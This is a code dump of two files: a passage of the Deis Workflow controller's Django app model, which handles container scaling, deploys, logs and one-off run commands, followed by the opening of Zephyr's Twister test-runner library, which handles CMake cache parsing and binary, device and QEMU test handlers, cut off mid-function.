(web, worker, etc) changed = False to_add, to_remove = [], [] scale_types = {} # iterate on a copy of the container_type keys for container_type in list(requested_structure.keys()): containers = list(self.container_set.filter(type=container_type).order_by('created')) # increment new container nums off the most recent container results = self.container_set.filter(type=container_type).aggregate(Max('num')) container_num = (results.get('num__max') or 0) + 1 requested = requested_structure.pop(container_type) diff = requested - len(containers) if diff == 0: continue changed = True scale_types[container_type] = requested while diff < 0: c = containers.pop() to_remove.append(c) diff += 1 while diff > 0: # create a database record c = Container.objects.create(owner=self.owner, app=self, release=release, type=container_type, num=container_num) to_add.append(c) container_num += 1 diff -= 1 if changed: if "scale" in dir(self._scheduler): self._scale_containers(scale_types, to_remove) else: if to_add: self._start_containers(to_add) if to_remove: self._destroy_containers(to_remove) # save new structure to the database vals = self.container_set.exclude(type='run').values( 'type').annotate(Count('pk')).order_by() new_structure = structure.copy() new_structure.update({v['type']: v['pk__count'] for v in vals}) self.structure = new_structure self.save() return changed def _scale_containers(self, scale_types, to_remove): release = self.release_set.latest() build_type = app_build_type(release) for scale_type in scale_types: image = release.image version = "v{}".format(release.version) kwargs = { 'memory': release.config.memory, 'cpu': release.config.cpu, 'tags': release.config.tags, 'envs': release.config.values, 'version': version, 'aname': self.id, 'num': scale_types[scale_type], 'app_type': scale_type, 'build_type': build_type, 'healthcheck': release.config.healthcheck() } job_id = self._get_job_id(scale_type) command = self._get_command(scale_type) try: self._scheduler.scale( name=job_id, image=image, command=command, **kwargs ) # Attach the platform specific application sub domain # scheduler.scale creates the required service on apps:create if not Domain.objects.filter(owner=self.owner, app=self, domain=self).exists(): Domain(owner=self.owner, app=self, domain=str(self)).save() except Exception as e: err = '{} (scale): {}'.format(job_id, e) log_event(self, err, logging.ERROR) raise [c.delete() for c in to_remove] def _start_containers(self, to_add): """Creates and starts containers via the scheduler""" if not to_add: return create_threads = [Thread(target=c.create) for c in to_add] start_threads = [Thread(target=c.start) for c in to_add] [t.start() for t in create_threads] [t.join() for t in create_threads] if any(c.state != 'created' for c in to_add): err = 'aborting, failed to create some containers' log_event(self, err, logging.ERROR) self._destroy_containers(to_add) raise RuntimeError(err) [t.start() for t in start_threads] [t.join() for t in start_threads] if set([c.state for c in to_add]) != set(['up']): err = 'warning, some containers failed to start' log_event(self, err, logging.WARNING) def _restart_containers(self, to_restart): """Restarts containers via the scheduler""" if not to_restart: return stop_threads = [Thread(target=c.stop) for c in to_restart] start_threads = [Thread(target=c.start) for c in to_restart] [t.start() for t in stop_threads] [t.join() for t in stop_threads] if any(c.state != 'created' for c in to_restart): err = 'warning, some containers failed to stop' log_event(self, err, logging.WARNING) [t.start() for t in start_threads] [t.join() for t in start_threads] if any(c.state != 'up' for c in to_restart): err = 'warning, some containers failed to start' log_event(self, err, logging.WARNING) def _destroy_containers(self, to_destroy): """Destroys containers via the scheduler""" if not to_destroy: return destroy_threads = [Thread(target=c.destroy) for c in to_destroy] [t.start() for t in destroy_threads] [t.join() for t in destroy_threads] [c.delete() for c in to_destroy if c.state == 'destroyed'] if any(c.state != 'destroyed' for c in to_destroy): err = 'aborting, failed to destroy some containers' log_event(self, err, logging.ERROR) raise RuntimeError(err) def deploy(self, user, release): """Deploy a new release to this application""" existing = self.container_set.exclude(type='run') new = [] scale_types = set() for e in existing: n = e.clone(release) n.save() new.append(n) scale_types.add(e.type) if new and "deploy" in dir(self._scheduler): self._deploy_app(scale_types, release, existing) else: self._start_containers(new) # destroy old containers if existing: self._destroy_containers(existing) # perform default scaling if necessary if self.structure == {} and release.build is not None: self._default_scale(user, release) def _deploy_app(self, scale_types, release, existing): build_type = app_build_type(release) for scale_type in scale_types: image = release.image version = "v{}".format(release.version) kwargs = { 'memory': release.config.memory, 'cpu': release.config.cpu, 'tags': release.config.tags, 'envs': release.config.values, 'aname': self.id, 'num': 0, 'version': version, 'app_type': scale_type, 'build_type': build_type, 'healthcheck': release.config.healthcheck() } job_id = self._get_job_id(scale_type) command = self._get_command(scale_type) try: self._scheduler.deploy( name=job_id, image=image, command=command, **kwargs) except Exception as e: err = '{} (deploy): {}'.format(job_id, e) log_event(self, err, logging.ERROR) raise [c.delete() for c in existing] def _default_scale(self, user, release): """Scale to default structure based on release type""" # if there is no SHA, assume a docker image is being promoted if not release.build.sha: structure = {'cmd': 1} # if a dockerfile exists without a procfile, assume docker workflow elif release.build.dockerfile and not release.build.procfile: structure = {'cmd': 1} # if a procfile exists without a web entry, assume docker workflow elif release.build.procfile and 'web' not in release.build.procfile: structure = {'cmd': 1} # default to heroku workflow else: structure = {'web': 1} self.scale(user, structure) def logs(self, log_lines=str(settings.LOG_LINES)): """Return aggregated log data for this application.""" try: url = "http://{}:{}/logs/{}?log_lines={}".format(settings.LOGGER_HOST, settings.LOGGER_PORT, self.id, log_lines) r = requests.get(url) # Handle HTTP request errors except requests.exceptions.RequestException as e: logger.error("Error accessing deis-logger using url '{}': {}".format(url, e)) raise e # Handle logs empty or not found if r.status_code == 204 or r.status_code == 404: logger.info("GET {} returned a {} status code".format(url, r.status_code)) raise EnvironmentError('Could not locate logs') # Handle unanticipated status codes if r.status_code != 200: logger.error("Error accessing deis-logger: GET {} returned a {} status code" .format(url, r.status_code)) raise EnvironmentError('Error accessing deis-logger') # cast content to string since it comes as bytes via the requests object return str(r.content) def run(self, user, command): """Run a one-off command in an ephemeral app container.""" if self.release_set.latest().build is None: raise EnvironmentError('No build associated with this release to run this command') # TODO: add support for interactive shell msg = "{} runs '{}'".format(user.username, command) log_event(self, msg) c_num = max([c.num for c in self.container_set.filter(type='run')] or [0]) + 1 # create database record for run process c = Container.objects.create(owner=self.owner, app=self, release=self.release_set.latest(), type='run', num=c_num) # SECURITY: shell-escape user input escaped_command = command.replace("'", "'\\''") return c.run(escaped_command) def list_pods(self, *args, **kwargs): """Used to list basic information about pods running for a given application""" try: labels = {'app': str(self)} # always supply a version, either latest or a specific one if 'release' not in kwargs or kwargs['release'] is None: release = self.release_set.latest() else: release = self.release_set.get(version=kwargs['release']) version = "v{}".format(release.version) labels.update({'version': version}) if 'type' in kwargs: labels.update({'type': kwargs['type']}) # in case a singular pod is requested if 'name' in kwargs: pods = [self._scheduler._get_pod(kwargs['name'], str(self), True).json()] else: pods = self._scheduler._get_pods(str(self), labels=labels).json()['items'] data = [] for p in pods: # specifically ignore run pods if p['metadata']['labels']['type'] == 'run': continue item = Pod() item['name'] = p['metadata']['name'] item['state'] = self._scheduler.resolve_state(p).name item['release'] = p['metadata']['labels']['version'] item['type'] = p['metadata']['labels']['type'] item['started'] = p['status']['startTime'] data.append(item) # sorting so latest start date is first data.sort(key=lambda x: x['started'], reverse=True) return data except KubeException as e: pass except Exception as e: err = '(list pods): {}'.format(e) log_event(self, err, logging.ERROR) raise
twisterlib.py
#!/usr/bin/env python3 # vim: set syntax=python ts=4 : # # Copyright (c) 2018 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import os import contextlib import string import mmap import sys import re import subprocess import select import shutil import shlex import signal import threading import concurrent.futures from collections import OrderedDict import queue import time import csv import glob import concurrent import xml.etree.ElementTree as ET import logging import pty from pathlib import Path from distutils.spawn import find_executable from colorama import Fore import pickle import platform import yaml import json from multiprocessing import Lock, Process, Value try: # Use the C LibYAML parser if available, rather than the Python parser. # It's much faster. from yaml import CSafeLoader as SafeLoader from yaml import CDumper as Dumper except ImportError: from yaml import SafeLoader, Dumper try: import serial except ImportError: print("Install pyserial python module with pip to use --device-testing option.") try: from tabulate import tabulate except ImportError: print("Install tabulate python module with pip to use --device-testing option.") try: import psutil except ImportError: print("Install psutil python module with pip to run in Qemu.") ZEPHYR_BASE = os.getenv("ZEPHYR_BASE") if not ZEPHYR_BASE: sys.exit("$ZEPHYR_BASE environment variable undefined") # This is needed to load edt.pickle files. sys.path.insert(0, os.path.join(ZEPHYR_BASE, "scripts", "dts", "python-devicetree", "src")) from devicetree import edtlib # pylint: disable=unused-import # Use this for internal comparisons; that's what canonicalization is # for. Don't use it when invoking other components of the build system # to avoid confusing and hard to trace inconsistencies in error messages # and logs, generated Makefiles, etc. compared to when users invoke these # components directly. # Note "normalization" is different from canonicalization, see os.path. canonical_zephyr_base = os.path.realpath(ZEPHYR_BASE) sys.path.insert(0, os.path.join(ZEPHYR_BASE, "scripts/")) import scl import expr_parser logger = logging.getLogger('twister') logger.setLevel(logging.DEBUG) class ExecutionCounter(object): def __init__(self, total=0): self._done = Value('i', 0) self._passed = Value('i', 0) self._skipped_configs = Value('i', 0) self._skipped_runtime = Value('i', 0) self._skipped_cases = Value('i', 0) self._error = Value('i', 0) self._failed = Value('i', 0) self._total = Value('i', total) self._cases = Value('i', 0) self.lock = Lock() @property def cases(self): with self._cases.get_lock(): return self._cases.value @cases.setter def cases(self, value): with self._cases.get_lock(): self._cases.value = value @property def skipped_cases(self): with self._skipped_cases.get_lock(): return self._skipped_cases.value @skipped_cases.setter def skipped_cases(self, value): with self._skipped_cases.get_lock(): self._skipped_cases.value = value @property def error(self): with self._error.get_lock(): return self._error.value @error.setter def error(self, value): with self._error.get_lock(): self._error.value = value @property def done(self): with self._done.get_lock(): return self._done.value @done.setter def done(self, value): with self._done.get_lock(): self._done.value = value @property def passed(self): with self._passed.get_lock(): return self._passed.value @passed.setter def passed(self, value): with self._passed.get_lock(): self._passed.value = value @property def skipped_configs(self): with self._skipped_configs.get_lock(): return self._skipped_configs.value @skipped_configs.setter def skipped_configs(self, value): with self._skipped_configs.get_lock(): self._skipped_configs.value = value @property def skipped_runtime(self): with self._skipped_runtime.get_lock(): return self._skipped_runtime.value @skipped_runtime.setter def skipped_runtime(self, value): with self._skipped_runtime.get_lock(): self._skipped_runtime.value = value @property def failed(self): with self._failed.get_lock(): return self._failed.value @failed.setter def failed(self, value): with self._failed.get_lock(): self._failed.value = value @property def total(self): with self._total.get_lock(): return self._total.value class CMakeCacheEntry: '''Represents a CMake cache entry. This class understands the type system in a CMakeCache.txt, and converts the following cache types to Python types: Cache Type Python type ---------- ------------------------------------------- FILEPATH str PATH str STRING str OR list of str (if ';' is in the value) BOOL bool INTERNAL str OR list of str (if ';' is in the value) ---------- ------------------------------------------- ''' # Regular expression for a cache entry. # # CMake variable names can include escape characters, allowing a # wider set of names than is easy to match with a regular # expression. To be permissive here, use a non-greedy match up to # the first colon (':'). This breaks if the variable name has a # colon inside, but it's good enough. CACHE_ENTRY = re.compile( r'''(?P<name>.*?) # name :(?P<type>FILEPATH|PATH|STRING|BOOL|INTERNAL) # type =(?P<value>.*) # value ''', re.X) @classmethod def _to_bool(cls, val): # Convert a CMake BOOL string into a Python bool. # # "True if the constant is 1, ON, YES, TRUE, Y, or a # non-zero number. False if the constant is 0, OFF, NO, # FALSE, N, IGNORE, NOTFOUND, the empty string, or ends in # the suffix -NOTFOUND. Named boolean constants are # case-insensitive. If the argument is not one of these # constants, it is treated as a variable." # # https://cmake.org/cmake/help/v3.0/command/if.html val = val.upper() if val in ('ON', 'YES', 'TRUE', 'Y'): return 1 elif val in ('OFF', 'NO', 'FALSE', 'N', 'IGNORE', 'NOTFOUND', ''): return 0 elif val.endswith('-NOTFOUND'): return 0 else: try: v = int(val) return v != 0 except ValueError as exc: raise ValueError('invalid bool {}'.format(val)) from exc @classmethod def from_line(cls, line, line_no): # Comments can only occur at the beginning of a line. # (The value of an entry could contain a comment character). if line.startswith('//') or line.startswith('#'): return None # Whitespace-only lines do not contain cache entries. if not line.strip(): return None m = cls.CACHE_ENTRY.match(line) if not m: return None name, type_, value = (m.group(g) for g in ('name', 'type', 'value')) if type_ == 'BOOL': try: value = cls._to_bool(value) except ValueError as exc: args = exc.args + ('on line {}: {}'.format(line_no, line),) raise ValueError(args) from exc elif type_ in ['STRING', 'INTERNAL']: # If the value is a CMake list (i.e. is a string which # contains a ';'), convert to a Python list. if ';' in value: value = value.split(';') return CMakeCacheEntry(name, value) def __init__(self, name, value): self.name = name self.value = value def __str__(self): fmt = 'CMakeCacheEntry(name={}, value={})' return fmt.format(self.name, self.value) class CMakeCache: '''Parses and represents a CMake cache file.''' @staticmethod def from_file(cache_file): return CMakeCache(cache_file) def __init__(self, cache_file): self.cache_file = cache_file self.load(cache_file) def load(self, cache_file): entries = [] with open(cache_file, 'r') as cache: for line_no, line in enumerate(cache): entry = CMakeCacheEntry.from_line(line, line_no) if entry: entries.append(entry) self._entries = OrderedDict((e.name, e) for e in entries) def get(self, name, default=None): entry = self._entries.get(name) if entry is not None: return entry.value else: return default def get_list(self, name, default=None): if default is None: default = [] entry = self._entries.get(name) if entry is not None: value = entry.value if isinstance(value, list): return value elif isinstance(value, str): return [value] if value else [] else: msg = 'invalid value {} type {}' raise RuntimeError(msg.format(value, type(value))) else: return default def __contains__(self, name): return name in self._entries def __getitem__(self, name): return self._entries[name].value def __setitem__(self, name, entry): if not isinstance(entry, CMakeCacheEntry): msg = 'improper type {} for value {}, expecting CMakeCacheEntry' raise TypeError(msg.format(type(entry), entry)) self._entries[name] = entry def __delitem__(self, name): del self._entries[name] def __iter__(self): return iter(self._entries.values()) class TwisterException(Exception): pass class TwisterRuntimeError(TwisterException): pass class ConfigurationError(TwisterException): def __init__(self, cfile, message): TwisterException.__init__(self, cfile + ": " + message) class BuildError(TwisterException): pass class ExecutionError(TwisterException): pass class HarnessImporter: def __init__(self, name): sys.path.insert(0, os.path.join(ZEPHYR_BASE, "scripts/pylib/twister")) module = __import__("harness") if name: my_class = getattr(module, name) else: my_class = getattr(module, "Test") self.instance = my_class() class Handler: def __init__(self, instance, type_str="build"): """Constructor """ self.state = "waiting" self.run = False self.duration = 0 self.type_str = type_str self.binary = None self.pid_fn = None self.call_make_run = False self.name = instance.name self.instance = instance self.timeout = instance.testcase.timeout self.sourcedir = instance.testcase.source_dir self.build_dir = instance.build_dir self.log = os.path.join(self.build_dir, "handler.log") self.returncode = 0 self.set_state("running", self.duration) self.generator = None self.generator_cmd = None self.args = [] self.terminated = False def set_state(self, state, duration): self.state = state self.duration = duration def get_state(self): ret = (self.state, self.duration) return ret def record(self, harness): if harness.recording: filename = os.path.join(self.build_dir, "recording.csv") with open(filename, "at") as csvfile: cw = csv.writer(csvfile, harness.fieldnames, lineterminator=os.linesep) cw.writerow(harness.fieldnames) for instance in harness.recording: cw.writerow(instance) def terminate(self, proc): # encapsulate terminate functionality so we do it consistently where ever # we might want to terminate the proc. We need try_kill_process_by_pid # because of both how newer ninja (1.6.0 or greater) and .NET / renode # work. Newer ninja's don't seem to pass SIGTERM down to the children # so we need to use try_kill_process_by_pid. for child in psutil.Process(proc.pid).children(recursive=True): try: os.kill(child.pid, signal.SIGTERM) except ProcessLookupError: pass proc.terminate() # sleep for a while before attempting to kill time.sleep(0.5) proc.kill() self.terminated = True class BinaryHandler(Handler): def __init__(self, instance, type_str): """Constructor @param instance Test Instance """ super().__init__(instance, type_str) self.call_west_flash = False # Tool options self.valgrind = False self.lsan = False self.asan = False self.ubsan = False self.coverage = False def try_kill_process_by_pid(self): if self.pid_fn: pid = int(open(self.pid_fn).read()) os.unlink(self.pid_fn) self.pid_fn = None # clear so we don't try to kill the binary twice try: os.kill(pid, signal.SIGTERM) except ProcessLookupError: pass def _output_reader(self, proc): self.line = proc.stdout.readline() def _output_handler(self, proc, harness): if harness.is_pytest: harness.handle(None) return log_out_fp = open(self.log, "wt") timeout_extended = False timeout_time = time.time() + self.timeout while True: this_timeout = timeout_time - time.time() if this_timeout < 0: break reader_t = threading.Thread(target=self._output_reader, args=(proc,), daemon=True) reader_t.start() reader_t.join(this_timeout) if not reader_t.is_alive(): line = self.line logger.debug("OUTPUT: {0}".format(line.decode('utf-8').rstrip())) log_out_fp.write(line.decode('utf-8')) log_out_fp.flush() harness.handle(line.decode('utf-8').rstrip()) if harness.state: if not timeout_extended or harness.capture_coverage: timeout_extended = True if harness.capture_coverage: timeout_time = time.time() + 30 else: timeout_time = time.time() + 2 else: reader_t.join(0) break try: # POSIX arch based ztests end on their own, # so let's give it up to 100ms to do so proc.wait(0.1) except subprocess.TimeoutExpired: self.terminate(proc) log_out_fp.close() def handle(self): harness_name = self.instance.testcase.harness.capitalize() harness_import = HarnessImporter(harness_name) harness = harness_import.instance harness.configure(self.instance) if self.call_make_run: command = [self.generator_cmd, "run"] elif self.call_west_flash: command = ["west", "flash", "--skip-rebuild", "-d", self.build_dir] else: command = [self.binary] run_valgrind = False if self.valgrind and shutil.which("valgrind"): command = ["valgrind", "--error-exitcode=2", "--leak-check=full", "--suppressions=" + ZEPHYR_BASE + "/scripts/valgrind.supp", "--log-file=" + self.build_dir + "/valgrind.log" ] + command run_valgrind = True logger.debug("Spawning process: " + " ".join(shlex.quote(word) for word in command) + os.linesep + "in directory: " + self.build_dir) start_time = time.time() env = os.environ.copy() if self.asan: env["ASAN_OPTIONS"] = "log_path=stdout:" + \ env.get("ASAN_OPTIONS", "") if not self.lsan: env["ASAN_OPTIONS"] += "detect_leaks=0" if self.ubsan: env["UBSAN_OPTIONS"] = "log_path=stdout:halt_on_error=1:" + \ env.get("UBSAN_OPTIONS", "") with subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=self.build_dir, env=env) as proc: logger.debug("Spawning BinaryHandler Thread for %s" % self.name) t = threading.Thread(target=self._output_handler, args=(proc, harness,), daemon=True) t.start() t.join() if t.is_alive(): self.terminate(proc) t.join() proc.wait() self.returncode = proc.returncode self.try_kill_process_by_pid() handler_time = time.time() - start_time if self.coverage: subprocess.call(["GCOV_PREFIX=" + self.build_dir, "gcov", self.sourcedir, "-b", "-s", self.build_dir], shell=True) # FIXME: This is needed when killing the simulator, the console is # garbled and needs to be reset. Did not find a better way to do that. if sys.stdout.isatty(): subprocess.call(["stty", "sane"]) if harness.is_pytest: harness.pytest_run(self.log) self.instance.results = harness.tests if not self.terminated and self.returncode != 0: # When a process is killed, the default handler returns 128 + SIGTERM # so in that case the return code itself is not meaningful self.set_state("failed", handler_time) self.instance.reason = "Failed" elif run_valgrind and self.returncode == 2: self.set_state("failed", handler_time) self.instance.reason = "Valgrind error" elif harness.state: self.set_state(harness.state, handler_time) if harness.state == "failed": self.instance.reason = "Failed" else: self.set_state("timeout", handler_time) self.instance.reason = "Timeout" self.record(harness) class DeviceHandler(Handler): def __init__(self, instance, type_str): """Constructor @param instance Test Instance """ super().__init__(instance, type_str) self.suite = None def monitor_serial(self, ser, halt_fileno, harness): if harness.is_pytest: harness.handle(None) return log_out_fp = open(self.log, "wt") ser_fileno = ser.fileno() readlist = [halt_fileno, ser_fileno] if self.coverage: # Set capture_coverage to True to indicate that right after # test results we should get coverage data, otherwise we exit # from the test. harness.capture_coverage = True ser.flush() while ser.isOpen(): readable, _, _ = select.select(readlist, [], [], self.timeout) if halt_fileno in readable: logger.debug('halted') ser.close() break if ser_fileno not in readable: continue # Timeout. serial_line = None try: serial_line = ser.readline() except TypeError: pass except serial.SerialException: ser.close() break # Just because ser_fileno has data doesn't mean an entire line # is available yet. if serial_line: sl = serial_line.decode('utf-8', 'ignore').lstrip() logger.debug("DEVICE: {0}".format(sl.rstrip())) log_out_fp.write(sl) log_out_fp.flush() harness.handle(sl.rstrip()) if harness.state: if not harness.capture_coverage: ser.close() break log_out_fp.close() def device_is_available(self, instance): device = instance.platform.name fixture = instance.testcase.harness_config.get("fixture") for d in self.suite.duts: if fixture and fixture not in d.fixtures: continue if d.platform != device or not (d.serial or d.serial_pty): continue d.lock.acquire() avail = False if d.available: d.available = 0 d.counter += 1 avail = True d.lock.release() if avail: return d return None def make_device_available(self, serial): for d in self.suite.duts: if d.serial == serial or d.serial_pty: d.available = 1 @staticmethod def run_custom_script(script, timeout): with subprocess.Popen(script, stderr=subprocess.PIPE, stdout=subprocess.PIPE) as proc: try: stdout, _ = proc.communicate(timeout=timeout) logger.debug(stdout.decode()) except subprocess.TimeoutExpired: proc.kill() proc.communicate() logger.error("{} timed out".format(script)) def handle(self): out_state = "failed" runner = None hardware = self.device_is_available(self.instance) while not hardware: logger.debug("Waiting for device {} to become available".format(self.instance.platform.name)) time.sleep(1) hardware = self.device_is_available(self.instance) runner = hardware.runner or self.suite.west_runner serial_pty = hardware.serial_pty ser_pty_process = None if serial_pty: master, slave = pty.openpty() try: ser_pty_process = subprocess.Popen(re.split(',| ', serial_pty), stdout=master, stdin=master, stderr=master) except subprocess.CalledProcessError as error: logger.error("Failed to run subprocess {}, error {}".format(serial_pty, error.output)) return serial_device = os.ttyname(slave) else: serial_device = hardware.serial logger.debug("Using serial device {}".format(serial_device)) if (self.suite.west_flash is not None) or runner: command = ["west", "flash", "--skip-rebuild", "-d", self.build_dir] command_extra_args = [] # There are three ways this option is used. # 1) bare: --west-flash # This results in options.west_flash == [] # 2) with a value: --west-flash="--board-id=42" # This results in options.west_flash == "--board-id=42" # 3) Multiple values: --west-flash="--board-id=42,--erase" # This results in options.west_flash == "--board-id=42 --erase" if self.suite.west_flash and self.suite.west_flash != []: command_extra_args.extend(self.suite.west_flash.split(',')) if runner: command.append("--runner") command.append(runner) board_id = hardware.probe_id or hardware.id product = hardware.product if board_id is not None: if runner == "pyocd": command_extra_args.append("--board-id") command_extra_args.append(board_id) elif runner == "nrfjprog": command_extra_args.append("--snr") command_extra_args.append(board_id) elif runner == "openocd" and product == "STM32 STLink": command_extra_args.append("--cmd-pre-init") command_extra_args.append("hla_serial %s" % (board_id)) elif runner == "openocd" and product == "STLINK-V3": command_extra_args.append("--cmd-pre-init") command_extra_args.append("hla_serial %s" % (board_id)) elif runner == "openocd" and product == "EDBG CMSIS-DAP": command_extra_args.append("--cmd-pre-init") command_extra_args.append("cmsis_dap_serial %s" % (board_id)) elif runner == "jlink": command.append("--tool-opt=-SelectEmuBySN %s" % (board_id)) if command_extra_args != []: command.append('--') command.extend(command_extra_args) else: command = [self.generator_cmd, "-C", self.build_dir, "flash"] pre_script = hardware.pre_script post_flash_script = hardware.post_flash_script post_script = hardware.post_script if pre_script: self.run_custom_script(pre_script, 30) try: ser = serial.Serial( serial_device, baudrate=115200, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, bytesize=serial.EIGHTBITS, timeout=self.timeout ) except serial.SerialException as e: self.set_state("failed", 0) self.instance.reason = "Failed" logger.error("Serial device error: %s" % (str(e))) if serial_pty and ser_pty_process: ser_pty_process.terminate() outs, errs = ser_pty_process.communicate() logger.debug("Process {} terminated outs: {} errs {}".format(serial_pty, outs, errs)) self.make_device_available(serial_device) return ser.flush() harness_name = self.instance.testcase.harness.capitalize() harness_import = HarnessImporter(harness_name) harness = harness_import.instance harness.configure(self.instance) read_pipe, write_pipe = os.pipe() start_time = time.time() t = threading.Thread(target=self.monitor_serial, daemon=True, args=(ser, read_pipe, harness)) t.start() d_log = "{}/device.log".format(self.instance.build_dir) logger.debug('Flash command: %s', command) try: stdout = stderr = None with subprocess.Popen(command, stderr=subprocess.PIPE, stdout=subprocess.PIPE) as proc: try: (stdout, stderr) = proc.communicate(timeout=30) logger.debug(stdout.decode()) if proc.returncode != 0: self.instance.reason = "Device issue (Flash?)" with open(d_log, "w") as dlog_fp: dlog_fp.write(stderr.decode()) os.write(write_pipe, b'x') # halt the thread out_state = "flash_error" except subprocess.TimeoutExpired: proc.kill() (stdout, stderr) = proc.communicate() self.instance.reason = "Device issue (Timeout)" with open(d_log, "w") as dlog_fp: dlog_fp.write(stderr.decode()) except subprocess.CalledProcessError: os.write(write_pipe, b'x') # halt the thread if post_flash_script: self.run_custom_script(post_flash_script, 30) t.join(self.timeout) if t.is_alive(): logger.debug("Timed out while monitoring serial output on {}".format(self.instance.platform.name)) out_state = "timeout" if ser.isOpen(): ser.close() if serial_pty: ser_pty_process.terminate() outs, errs = ser_pty_process.communicate() logger.debug("Process {} terminated outs: {} errs {}".format(serial_pty, outs, errs)) os.close(write_pipe) os.close(read_pipe) handler_time = time.time() - start_time if out_state in ["timeout", "flash_error"]: for c in self.instance.testcase.cases: if c not in harness.tests: harness.tests[c] = "BLOCK" if out_state == "timeout": self.instance.reason = "Timeout" elif out_state == "flash_error": self.instance.reason = "Flash error" if harness.is_pytest: harness.pytest_run(self.log) self.instance.results = harness.tests # sometimes a test instance hasn't been executed successfully with an # empty dictionary results, in order to include it into final report, # so fill the results as BLOCK if self.instance.results == {}: for k in self.instance.testcase.cases: self.instance.results[k] = 'BLOCK' if harness.state: self.set_state(harness.state, handler_time) if harness.state == "failed": self.instance.reason = "Failed" else: self.set_state(out_state, handler_time) if post_script: self.run_custom_script(post_script, 30) self.make_device_available(serial_device) self.record(harness) class QEMUHandler(Handler): """Spawns a thread to monitor QEMU output from pipes We pass QEMU_PIPE to 'make run' and monitor the pipes for output. We need to do this as once qemu starts, it runs forever until killed. Test cases emit special messages to the console as they run, we check for these to collect whether the test passed or failed. """ def __init__(self, instance, type_str): """Constructor @param instance Test instance """ super().__init__(instance, type_str) self.fifo_fn = os.path.join(instance.build_dir, "qemu-fifo") self.pid_fn = os.path.join(instance.build_dir, "qemu.pid") if "ignore_qemu_crash" in instance.testcase.tags: self.ignore_qemu_crash = True self.ignore_unexpected_eof = True else: self.ignore_qemu_crash = False self.ignore_unexpected_eof = False @staticmethod def _get_cpu_time(pid): """get process CPU time. The guest virtual time in QEMU icount mode isn't host time and it's maintained by counting guest instructions, so we use QEMU process exection time to mostly simulate the time of guest OS. """ proc = psutil.Process(pid) cpu_time = proc.cpu_times() return cpu_time.user + cpu_time.system @staticmethod def _thread(handler, timeout, outdir, logfile, fifo_fn, pid_fn, results, harness, ignore_unexpected_eof=False): fifo_in = fifo_fn + ".in" fifo_out = fifo_fn + ".out" # These in/out nodes are named from QEMU's perspective, not ours if os.path.exists(fifo_in): os.unlink(fifo_in) os.mkfifo(fifo_in) if os.path.exists(fifo_out): os.unlink(fifo_out) os.mkfifo(fifo_out) # We don't do anything with out_fp but we need to open it for # writing so that QEMU doesn't block, due to the way pipes work out_fp = open(fifo_in, "wb") # Disable internal buffering, we don't # want read() or poll() to ever block if there is data in there in_fp = open(fifo_out, "rb", buffering=0) log_out_fp = open(logfile, "wt") start_time = time.time() timeout_time = start_time + timeout p = select.poll() p.register(in_fp, select.POLLIN) out_state = None line = "" timeout_extended = False pid = 0 if os.path.exists(pid_fn): pid = int(open(pid_fn).read()) while True: this_timeout = int((timeout_time - time.time()) * 1000) if this_timeout < 0 or not p.poll(this_timeout): try: if pid and this_timeout > 0: #there's possibility we polled nothing because #of not enough CPU time scheduled by host for #QEMU process during p.poll(this_timeout) cpu_time = QEMUHandler._get_cpu_time(pid) if cpu_time < timeout and not out_state: timeout_time = time.time() + (timeout - cpu_time) continue except ProcessLookupError: out_state = "failed" break if not out_state: out_state = "timeout" break if pid == 0 and os.path.exists(pid_fn): pid = int(open(pid_fn).read()) if harness.is_pytest: harness.handle(None) out_state = harness.state break try: c = in_fp.read(1).decode("utf-8") except UnicodeDecodeError: # Test is writing something weird, fail out_state = "unexpected byte" break if c == "": # EOF, this shouldn't happen unless QEMU crashes if not ignore_unexpected_eof: out_state = "unexpected eof" break line = line + c if c != "\n": continue # line contains a full line of data output from QEMU log_out_fp.write(line) log_out_fp.flush() line = line.strip() logger.debug(f"QEMU ({pid}): {line}") harness.handle(line) if harness.state: # if we have registered a fail make sure the state is not # overridden by a false success message coming from the # testsuite if out_state not in ['failed', 'unexpected eof', 'unexpected byte']: out_state = harness.state # if we get some state, that means test is doing well, we reset # the timeout and wait for 2 more seconds to catch anything # printed late. We wait much longer if code # coverage is enabled since dumping this information can # take some time. if not timeout_extended or harness.capture_coverage: timeout_extended = True if harness.capture_coverage: timeout_time = time.time() + 30 else: timeout_time = time.time() + 2 line = "" if harness.is_pytest: harness.pytest_run(logfile) out_state = harness.state handler.record(harness) handler_time = time.time() - start_time logger.debug(f"QEMU ({pid}) complete ({out_state}) after {handler_time} seconds") if out_state == "timeout": handler.instance.reason = "Timeout" handler.set_state("failed", handler_time) elif out_state == "failed": handler.instance.reason = "Failed" handler.set_state("failed", handler_time) elif out_state in ['unexpected eof', 'unexpected byte']: handler.instance.reason = out_state handler.set_state("failed", handler_time) else: handler.set_state(out_state, handler_time) log_out_fp.close() out_fp.close() in_fp.close() if pid: try: if pid: os.kill(pid, signal.SIGTERM) except ProcessLookupError: # Oh well, as long as it's dead! User probably sent Ctrl-C pass os.unlink(fifo_in) os.unlink(fifo_out) def handle(self): self.results = {} self.run = True # We pass this to QEMU which looks for fifos with .in and .out # suffixes. self.fifo_fn = os.path.join(self.instance.build_dir, "qemu-fifo") self.pid_fn = os.path.join(self.instance.build_dir, "qemu.pid") if os.path.exists(self.pid_fn): os.unlink(self.pid_fn) self.log_fn = self.log harness_import = HarnessImporter(self.instance.testcase.harness.capitalize()) harness = harness_import.instance harness.configure(self.instance) self.thread = threading.Thread(name=self.name, target=QEMUHandler._thread, args=(self, self.timeout, self.build_dir, self.log_fn, self.fifo_fn, self.pid_fn, self.results, harness, self.ignore_unexpected_eof)) self.instance.results = harness.tests self.thread.daemon = True logger.debug("Spawning QEMUHandler Thread for %s" % self.name) self.thread.start() if sys.stdout.isatty(): subprocess.call(["stty", "sane"]) logger.debug("Running %s (%s)" % (self.name, self.type_str)) command = [self.generator_cmd] command += ["-C", self.build_dir, "run"] is_timeout = False qemu_pid = None with subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=self.build_dir) as proc: logger.debug("Spawning QEMUHandler Thread for %s" % self.name) try: proc.wait(self.timeout) except subprocess.TimeoutExpired: # sometimes QEMU can't handle SIGTERM signal correctly # in that case kill -9 QEMU process directly and leave # twister to judge testing result by console output is_timeout = True self.terminate(proc) if harness.state == "passed": self.returncode = 0 else: self.returncode = proc.returncode else: if os.path.exists(self.pid_fn): qemu_pid = int(open(self.pid_fn).read()) logger.debug(f"No timeout, return code from QEMU 